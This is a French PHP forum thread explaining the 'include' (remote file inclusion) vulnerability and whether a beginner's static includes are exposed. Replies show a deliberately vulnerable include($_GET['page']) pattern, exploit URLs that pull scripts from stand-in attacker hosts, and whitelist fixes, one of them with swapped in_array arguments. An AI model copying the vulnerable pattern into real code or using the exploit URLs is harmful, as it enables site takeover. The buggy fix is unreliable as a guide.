IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

[Sécurité] La faille include


Sujet :

Langage PHP

  1. #1
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut [Sécurité] La faille include
    bonjour.
    premier message sur ce forum donc je me présente: arnaud 19 ans, bases sup dans le php.
    Mon problème du jour: résoudre la faille d'include: en effet sur mon site je met des include pour me connecter à ma base de donnée ect ect les fichiers à protéger se trouvent donc dans un dossier protéger pas mot de passe (htacces ect ect).
    Hors en parlant avec une personne qui se débrouille mieux que moi il m'a fait penser au fait que la personne peut en voyant tout simplement mon code utiliser le fichier appelé par un adressage du type http://arnaudinnsert.com/protect/connection.php dans un include

    comment résoudre cette faille??
    merci de votre aide

  2. #2
    Inactif
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    179
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 179
    Par défaut
    Il marche comment, ton système d'include ?

    Suffit de contrôler ce que tu inclus, pour être sûr qu'il s'agisse d'un script destiné à l'être.

  3. #3
    Membre Expert

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Par défaut
    Bonsoir,
    Comment une personne pourrait-elle voir ton code ?
    A moins que tu ne fasses passer le nom et l'adresse de tes pages à inclure directement dans l'url ? Il vaut mieux éviter ce dernier cas, même si, correctement filtré, rien ne passera.

  4. #4
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut
    merci pour vos réponses .
    Alors pour la question de comment on peut voir mon code: il parait que voir du php c'est possible justement en utilisant la même faille.
    j'urilise include comme suis dans ma page php (qui n'est pas dans un dossier protéger)
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    include("secure/connect.php");
    include("secure/suis.php");

  5. #5
    Membre Expert

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Par défaut
    Une page php n'est normalement pas lisible à partir d'un simple navigateur. Si c'est le cas, ce n'est plus un problème php, c'est une défaillance (grave !) du serveur.
    La faille 'include', dans sa version la plus brute (et simplifiée) consiste en ceci :
    le lien utilisé pour ouvrir la page :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <a href="index.php?page=include.php">
    le traitement effectué dans la page index.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    <?php
    include($_GET['page']); //affiche la page dans la page en cours
    ?>
    Exploitation de la faille :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <a href="index.php?page=http://www.grandmechantpirate.ru/mechant.php">
    Conséquence: dès qu'on clique sur le lien, la page http://www.grandmechantpirate.ru/mechant.php est incluse, ce qui permet au grand méchant pirate de faire à peu ce qu'il veut (suivant la configuation de sécurité du serveur), depuis le défaçage de site jusqu'à la lecture du fichier de mots de passe, etc..

    La solution consiste simplement à ne jamais faire confiance à tout ce qui provient de l'extérieur, et donc à filtrer soigneusement toute requête GET ou POST, ainsi qu'à ne pas utiliser des indications aussi précises que '?page=' ou 'include=' suivi d'un nom de fichier.

  6. #6
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut
    OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    <?php
    include($_GET['page']); //affiche la page dans la page en cours
    ?>
    ?
    merci de ton aide

  7. #7
    Expert confirmé
    Avatar de 12monkeys
    Homme Profil pro
    Webmaster
    Inscrit en
    Novembre 2006
    Messages
    4 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Puy de Dôme (Auvergne)

    Informations professionnelles :
    Activité : Webmaster
    Secteur : Service public

    Informations forums :
    Inscription : Novembre 2006
    Messages : 4 093
    Par défaut
    Bonsoir

    Citation Envoyé par adeltimple Voir le message
    OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    <?php
    include($_GET['page']); //affiche la page dans la page en cours
    ?>
    ?
    merci de ton aide
    Oui mais ne laisse pas le code tel quel : tu dois vérifier ce qui vient de $_GET['page'] et que c'est bien ce à quoi tu t'attends soit le nom de tes pages et uniquement celles ci.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    	switch($_GET['page']) {
    	    case 'index':
    		$pge = 'index.php';
    	    break;
    	    case 'page_1':
    		$pge = 'page1.php';
    	    break;
    	    default:
    		$pge = 'index.php';
    	}
     
    include("$pge");

  8. #8
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Par défaut
    Salut

    Pour éviter tout problème, tu devrais en effet utiliser une liste blanche :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    $whitelist = array('header', 'connexion');
     
    if(in_array($whitelist, $_GET['page']))
    {
       include $_GET['page'].'.php';
    }
    Ou, pour rendre l'exploitation légèrement plus complexe pour le pirate tout en améliorant un peu la sécurité de ton côté :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    $whitelist = array('header', 'connexion');
     
    $include = (int)$_GET['page']; // "page" est la clef dans $whitelist
    if(isset($whitelist[$include]))
    {
       include $include.'.php';
    }
    Le mieux étant bien sûr de ne pas faire d'includes par l'URL, car en réalité ton application doit être en mesure de savoir de quels includes elle a besoin sans faire intervenir l'utilisateur, or utiliser GET pour inclure les scripts implique l'utilisateur.

  9. #9
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut
    je comprend pas tout ce que vous me dites
    je n'utilise pas de methode get ou post juste des include pour appeler ma page qui va s'occuper de tracer l'utilisateur voir si il ne s'amuse pas à essayé de pénétrer dans la partie securisée ou dans la partie admin:

    dans mon index.php j'ai mit ça:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    include("secure/connexion.php");
    include("secure/trace.php");
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    	<head>
    		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    		<title>news informatiques</title>
    		<link rel="stylesheet" type="text/css" href="style.css" />
     
    	</head>
    	<body>
    ...
    ma page connection.php contient juste mysql_connect et mysql_select_db et ma page trace juste le script qui au chargement d'une page va écrire dans un fichier des infos sur l'utilisateur et le faire rentrer dans mes stats de naviguateurs

    faut-il quand même que je fasse une liste blache??
    merci de votre aide

  10. #10
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Par défaut
    Ah, désolé, c'est ce message qui m'a induit en erreur : http://www.developpez.net/forums/sho...37&postcount=6

    Si tu inclus tes scripts comme tu le montres ici, rien n'est dynamique. Tu n'as donc aucune crainte à avoir de la faille include.

  11. #11
    Membre Expert

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Par défaut
    Comme je te l'ai dit, si un visiteur peut accéder à tes fichiers de cette manière, ce n'est plus une faille php, c'est une faille (grave et anormale) du serveur : d'un, même si tu ne fais rien, les fichiers contenus dans secure ne sont pas lisibles s'ils ont l'extension .php; de deux, tu peux mettre le dossier secure dans un emplacement non public, c'est-à-dire autre que dans le dossier www ou web ou public_html (selon les cas) ; et de trois, tu peux interdire l'accès à ce dossier par un htaccess.

  12. #12
    Rédacteur
    Avatar de darrylsite
    Profil pro
    Inscrit en
    Juillet 2007
    Messages
    1 299
    Détails du profil
    Informations personnelles :
    Localisation : France, Paris (Île de France)

    Informations forums :
    Inscription : Juillet 2007
    Messages : 1 299
    Par défaut
    Citation Envoyé par Yogui Voir le message
    Si tu inclus tes scripts comme tu le montres ici, rien n'est dynamique. Tu n'as donc aucune crainte à avoir de la faille include.
    Generalement sur les sites, on retrouve les meme menus, banieres, footbar, ... et ce qui change c' est souvent le contenu que l' utilisateur veut voir.
    Alors pour eviter de se fatiguer (faire copier/coller des menus sur toutes les pages est bien trop lent et rend difficile la maintenance), on inclut seulement ce qui vas changer dans la page standard.
    La structure des liens de la page sera :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    <a href="include.php?page=index.php"> ... </a>
    <a href="include.php?page=music.php"> ... </a>
    ...
    Et au niveau de la page standard:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    //code de la page standard
    include("header.php");
    include("menu.php");
    $page=$_GET['page'];
    include($page);
    include("footbar.php");
    ...
    Alors si un hacker fait une page :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    // www.hacker.com/hacker.php
    echo "je suis entrain de pirater ton site";
    //il efface tout dans le dossier
    et change dans la bar d' addresse un lien de ton site par
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    http://www.tonsite.com/include.php?page="http://www.hacker.com/hacker.php"
    son script sera executé sur ton serveur.
    Voilà une presentation rapide de la faille include.

  13. #13
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Par défaut
    darrylsite, je te remercie mais je connais la faille include... Il me semble que ce que tu dis n'a cependant rien à voir avec la question d'adeltimple. Ses liens ne sont pas dynamiques comme dans ton exemple, son site n'est donc pas vulnérable.

    adeltimple n'a pour le moment pas de problème de faille include dans ses scripts, il n'y a aucune solution à lui apporter. Ce que tu dis (darrylsite) est vrai, mais j'ai l'impression que pour le moment cela apporte de la confusion sans résoudre aucun problème (puisqu'il n'y en a pas).

  14. #14
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Par défaut
    Pour clarifier :

    Pour être vulnérable à la faille include, il faut avoir un code de ce style :
    Si on a du code pleinement statique, rien à craindre :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    include 'chemin/vers/le/script';
    Concernant l'autre interrogation (exécution de code distant), ce n'est pas possible.
    Chaque fois qu'un client demande un script PHP à un serveur (par HTTP et non par "include" sur la même machine), le serveur interprète le script s'il n'est pas protégé par htaccess. Si tu places un script dans un répertoire protégé par htaccess, il est donc doublement impossible à quelqu'un d'en lire le contenu.
    Si tu fais include 'http://...script.php', au final cela fait une demande HTTP du script, donc l'autre serveur (même si c'est le tien) va te donner le résultat et non le script lui-même.

  15. #15
    Expert confirmé
    Avatar de 12monkeys
    Homme Profil pro
    Webmaster
    Inscrit en
    Novembre 2006
    Messages
    4 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Puy de Dôme (Auvergne)

    Informations professionnelles :
    Activité : Webmaster
    Secteur : Service public

    Informations forums :
    Inscription : Novembre 2006
    Messages : 4 093
    Par défaut
    Citation Envoyé par Yogui Voir le message
    Il me semble que ce que tu dis n'a cependant rien à voir avec la question d'adeltimple.
    En effet, il me semble que nous avons tous été un peu induits en erreur par le message suivant d'adeltimple :

    Citation Envoyé par adeltimple Voir le message
    OK pour ne pas avoir de problème au niveau sécurité avec mes includes il me suffit donc d'utiliser la deuxième méthode c à d:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    <?php
    include($_GET['page']); //affiche la page dans la page en cours
    ?>
    ?
    merci de ton aide

  16. #16
    Membre Expert

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Par défaut
    Citation Envoyé par 12monkeys Voir le message
    En effet, il me semble que nous avons tous été un peu induits en erreur par le message suivant d'adeltimple :
    Oui, soi je me suis mal exprimé dans mes explications, soit il a mal compris, alors que j'expliquais simplement la faille include, pour lui monter que ça ne s'applique pas à son cas.

  17. #17
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut
    OK merci a tous, je peut donc considérer mon site comme sécurisé pour l'instant
    oui désolé de ne pas m'être mieux exprimé :S

  18. #18
    Membre Expert

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Par défaut
    Sécurisé ...
    Disons que la faille include ne s'applique pas. C'est tout.

  19. #19
    Membre confirmé
    Profil pro
    Étudiant
    Inscrit en
    Mai 2008
    Messages
    56
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France, Isère (Rhône Alpes)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mai 2008
    Messages : 56
    Par défaut
    include c'est vachement utile!
    tellement pratique que j'en met dans toutes les pages
    une nouvelle question me vient donc à l'esprit à part la sécurité:
    http://www.developpez.net/forums/sho...05#post3308505

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Réponses: 12
    Dernier message: 16/03/2011, 06h56
  2. [TinyMCE] Sécurité : faille XSS et upload de fichiers malicieux pour l'insertion d'image
    Par Lucas Panny dans le forum Bibliothèques & Frameworks
    Réponses: 9
    Dernier message: 21/01/2011, 10h33
  3. Sécurité de l'include
    Par nasuu dans le forum Langage
    Réponses: 3
    Dernier message: 14/07/2010, 02h00
  4. Faille Include
    Par xxkirastarothxx dans le forum Langage
    Réponses: 3
    Dernier message: 18/04/2009, 20h03
  5. [Sécurité] Les failles les plus courantes
    Par Lootro dans le forum Contribuez / Téléchargez Sources et Outils
    Réponses: 94
    Dernier message: 11/02/2008, 08h43

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo